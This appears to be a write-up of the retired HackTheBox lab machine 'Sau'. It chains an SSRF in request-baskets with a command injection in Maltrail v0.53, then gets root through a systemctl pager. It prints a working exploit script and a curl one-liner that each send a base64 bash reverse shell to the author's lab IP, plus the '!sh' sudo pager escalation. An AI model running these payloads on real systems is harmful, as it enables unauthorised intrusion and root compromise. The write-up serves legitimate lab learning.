HackTheBox Machine Sau
The box “Sau” was just retired on HackTheBox. This was an interesting box because you have to chain together a couple of exploits in order to get a shell, but overall, it is not a very difficult box. Sau means “pig” in German, but the box was created by sau123 so maybe the box name is related to his username.
Enumeration
I started off with an nmap full port scan. One thing to notice from the scan is that port 80 appears closed, and in nmap is indicating that is behaving differently.
Nmap scan report for 10.129.60.172
Host is up (0.051s latency).
Scanned at 2023-12-08 10:47:23 CST for 110s
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 aa:88:67:d7:13:3d:08:3a:8a:ce:9d:c4:dd:f3:e1:ed (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDdY38bkvujLwIK0QnFT+VOKT9zjKiPbyHpE+cVhus9r/6I/uqPzLylknIEjMYOVbFbVd8rTGzbmXKJBdRK61WioiPlKjbqvhO/YTnlkIRXm4jxQgs+xB0l9WkQ0CdHoo/Xe3v7TBije+lqjQ2tvhUY1LH8qBmPIywCbUvyvAGvK92wQpk6CIuHnz6IIIvuZdSklB02JzQGlJgeV54kWySeUKa9RoyapbIqruBqB13esE2/5VWyav0Oq5POjQWOWeiXA6yhIlJjl7NzTp/SFNGHVhkUMSVdA7rQJf10XCafS84IMv55DPSZxwVzt8TLsh2ULTpX8FELRVESVBMxV5rMWLplIA5ScIEnEMUR9HImFVH1dzK+E8W20zZp+toLBO1Nz4/Q/9yLhJ4Et+jcjTdI1LMVeo3VZw3Tp7KHTPsIRnr8ml+3O86e0PK+qsFASDNgb3yU61FEDfA0GwPDa5QxLdknId0bsJeHdbmVUW3zax8EvR+pIraJfuibIEQxZyM=
| 256 ec:2e:b1:05:87:2a:0c:7d:b1:49:87:64:95:dc:8a:21 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEFMztyG0X2EUodqQ3reKn1PJNniZ4nfvqlM7XLxvF1OIzOphb7VEz4SCG6nXXNACQafGd6dIM/1Z8tp662Stbk=
| 256 b3:0c:47:fb:a2:f2:12:cc:ce:0b:58:82:0e:50:43:36 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICYYQRfQHc6ZlP/emxzvwNILdPPElXTjMCOGH6iejfmi
80/tcp filtered http
8338/tcp filtered unknown
55555/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Fri, 08 Dec 2023 16:48:15 GMT
| Content-Length: 75
| invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
| GenericLines, Help, Kerberos, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Content-Type: text/html; charset=utf-8
| Location: /web
| Date: Fri, 08 Dec 2023 16:47:48 GMT
| Content-Length: 27
| href="/web">Found</a>.
| HTTPOptions:
| HTTP/1.0 200 OK
| Allow: GET, OPTIONS
| Date: Fri, 08 Dec 2023 16:47:48 GMT
|_ Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port55555-TCP:V=7.94SVN%I=7%D=12/8%Time=657348B4%P=aarch64-unknown-linu
SF:x-gnu%r(GetRequest,A2,"HTTP/1\.0\x20302\x20Found\r\nContent-Type:\x20te
SF:xt/html;\x20charset=utf-8\r\nLocation:\x20/web\r\nDate:\x20Fri,\x2008\x
SF:20Dec\x202023\x2016:47:48\x20GMT\r\nContent-Length:\x2027\r\n\r\n<a\x20
SF:href=\"/web\">Found</a>\.\n\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20
SF:Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConn
SF:ection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,60,"HTTP/
SF:1\.0\x20200\x20OK\r\nAllow:\x20GET,\x20OPTIONS\r\nDate:\x20Fri,\x2008\x
SF:20Dec\x202023\x2016:47:48\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RT
SF:SPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20te
SF:xt/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x2
SF:0Request")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Typ
SF:e:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x
SF:20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Reque
SF:st\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20c
SF:lose\r\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.
SF:1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=u
SF:tf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessio
SF:nReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/pl
SF:ain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Requ
SF:est")%r(Kerberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type
SF::\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x2
SF:0Bad\x20Request")%r(FourOhFourRequest,EA,"HTTP/1\.0\x20400\x20Bad\x20Re
SF:quest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nX-Content-Typ
SF:e-Options:\x20nosniff\r\nDate:\x20Fri,\x2008\x20Dec\x202023\x2016:48:15
SF:\x20GMT\r\nContent-Length:\x2075\r\n\r\ninvalid\x20basket\x20name;\x20t
SF:he\x20name\x20does\x20not\x20match\x20pattern:\x20\^\[\\w\\d\\-_\\\.\]{
SF:1,250}\$\n")%r(LPDString,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCont
SF:ent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r
SF:\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Investigating port 55555, it looks like a app for intercepting http headers.
It says Powered by request-baskets | Version: 1.2.1
.
You can create a basket and any requests to your basket URL get saved so you can view them later.
This is similar to HTTP endpoint testing websites such as https://requestinspector.com/.
I found that there is an SSRF exploit for request-baskets: https://github.com/entr0pie/CVE-2023-27163. This app it doesn’t just log HTTP headers, it can actually forward them to another location, meaning that the functionality of the app itself was basically designed to be an SSRF vulnerability. The first obvious thing to try is accessing the port 80 that nmap is reporting as hidden.
Port 80 has a site running on it Powered by Maltrail (v0.53)
There’s an exploit for this version of maltrail https://github.com/spookier/Maltrail-v0.53-Exploit.
This exploit sounds like a disaster from a code security standpoint - an unauthenticated code injection vulnerability on the login page.
That is so ridiculous that it is almost funny.
Exploit
The exploit chain looks like this: I have to create an SSRF for the login page, and then I have to modify the exploit script slightly to attack that URL.
Configuring the SSRF
Exploit Script
The exploit script has some cool ASCII art that looks like it was created with figlet. I have marked my changes with a comment.
'''
██████ ██▓███ ▒█████ ▒█████ ██ ▄█▀ ██▓▓█████ ██▀███
▒██ ▒ ▓██░ ██▒▒██▒ ██▒▒██▒ ██▒ ██▄█▒ ▓██▒▓█ ▀ ▓██ ▒ ██▒
░ ▓██▄ ▓██░ ██▓▒▒██░ ██▒▒██░ ██▒▓███▄░ ▒██▒▒███ ▓██ ░▄█ ▒
▒ ██▒▒██▄█▓▒ ▒▒██ ██░▒██ ██░▓██ █▄ ░██░▒▓█ ▄ ▒██▀▀█▄
▒██████▒▒▒██▒ ░ ░░ ████▓▒░░ ████▓▒░▒██▒ █▄░██░░▒████▒░██▓ ▒██▒
▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░░ ▒░▒░▒░ ░ ▒░▒░▒░ ▒ ▒▒ ▓▒░▓ ░░ ▒░ ░░ ▒▓ ░▒▓░
░ ░▒ ░ ░░▒ ░ ░ ▒ ▒░ ░ ▒ ▒░ ░ ░▒ ▒░ ▒ ░ ░ ░ ░ ░▒ ░ ▒░
░ ░ ░ ░░ ░ ░ ░ ▒ ░ ░ ░ ▒ ░ ░░ ░ ▒ ░ ░ ░░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
'''
import sys;
import os;
import base64;
def main():
listening_IP = None
listening_PORT = None
target_URL = None
if len(sys.argv) != 4:
print("Error. Needs listening IP, PORT and target URL.")
return(-1)
listening_IP = sys.argv[1]
listening_PORT = sys.argv[2]
target_URL = sys.argv[3] # NEL - removed the /login here so it can chain with SSRF
print("Running exploit on " + str(target_URL))
#curl_cmd(listening_IP, listening_PORT, target_URL)
def curl_cmd(my_ip, my_port, target_url):
payload = 'bash -i >& /dev/tcp/10.10.14.103/443 0>&1'
encoded_payload = base64.b64encode(payload.encode()).decode() # encode the payload in Base64
command = f"curl '{target_url}' --data 'username=;`echo+\"{encoded_payload}\"+|+base64+-d+|+sh`'"
os.system(command)
if __name__ == "__main__":
main()
But I ended up boiling this down to one single curl command that I can run in order to get a shell. I used my script to generate alphanumeric base64 reverse shell payloads to make this contain as few special characters as possible.
curl http://10.129.60.172:55555/xks2ly8 --data 'username=;`echo+YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTAzLzgwICAwPiYx|base64+-d|bash`'
This exploit chain sends us back a reverse shell as the puma user who must be running the local maltrail server.
Privilege Escalation
The first thing we do is run sudo
see what commands we can run.
puma@sau:~$ sudo -l
Matching Defaults entries for puma on sau:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
With this command we can see the maltrail status. It also seems to be printing interesting lines from auth.log.
The most important thing about this command is that the pager
command running the output of the systemctl status
command with sudo can launch commands with !
just like less
So if I launch sh
, it is running as root, and I can read the root flag.
This is a well-known privilege escalation technique: abusing launching programs from within paging programs.